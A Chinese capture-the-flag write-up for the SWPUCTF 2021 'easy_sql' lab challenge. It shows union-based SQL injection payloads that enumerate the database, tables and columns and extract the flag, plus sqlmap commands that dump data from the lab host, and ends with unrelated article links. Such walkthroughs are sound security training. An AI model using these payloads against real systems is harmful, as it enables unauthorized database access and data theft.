sql [SWPUCTF 2021 新生赛]easy_sql

打开题目,直接查看源代码给了提示注入点是wllm

然后得到了name和password

输入1' 报错,说明注入点是字符型注入

输到4的时候报错了

说明列名字段数为3

爆破数据显示位为2,3

我们直接爆破数据库名

我们知道数据库名为test_db

爆破表名

?wllm=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema="test_db" --+

我们知道表名有test_tb和users

我们选择test_tb进行爆破

?wllm=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name="test_tb" --+

看见有id和flag两个字段

我们直接爆破数据

?wllm=-1' union select 1,2,flag from test_tb --+

得到flag

同样这道题也可以用sqlmap跑一下看看

sqlmap -u "http://node4.anna.nssctf.cn:28057/?wllm=1'" --dbs

得到数据库名

sqlmap -u "http://node4.anna.nssctf.cn:28057/?wllm=1'" -D test_db --tables

得到所有表名

sqlmap -u "http://node4.anna.nssctf.cn:28057/?wllm=1'" -D test_db -T test_tb --columns

得到所有列名

sqlmap -u "http://node4.anna.nssctf.cn:28057/?wllm=1'" -D test_db -T test_tb -C flag --dump

得到flag

sqlmap的使用见:

sqlmap的安装与使用-CSDN博客

相关推荐
今晚务必早点睡5 小时前
微服务改数据库密码后服务仍能访问?一次“看似异常、实则常见”的生产现象全解析
数据库·微服务·oracle
老师我太想进步了20266 小时前
cmd连接MySQL及相关查询
数据库·mysql
難釋懷9 小时前
Redis命令-Set命令
数据库·redis·缓存
Linux-palpitate9 小时前
PostgreSQL(PG)的1主2从集群部署安装
数据库·postgresql
heartbeat..10 小时前
数据库基础知识体系:概念、约束、范式与国产产品
java·数据库·学习笔记·国产数据库
山峰哥10 小时前
数据库工程核心:SQL调优让查询效率飙升的实战密码
网络·汇编·数据库·sql·编辑器
Coder_Boy_11 小时前
基于SpringAI的在线考试系统-DDD业务领域模块设计思路
java·数据库·人工智能·spring boot·ddd
色空大师11 小时前
mybatis动态sql
sql·mybatis·foreach·where·sql动态语法
小雪_Snow11 小时前
Windows 安装 MySQL 8.0 教程【安装包方式】
数据库·mysql
无敌的牛11 小时前
MySQL初阶
数据库·mysql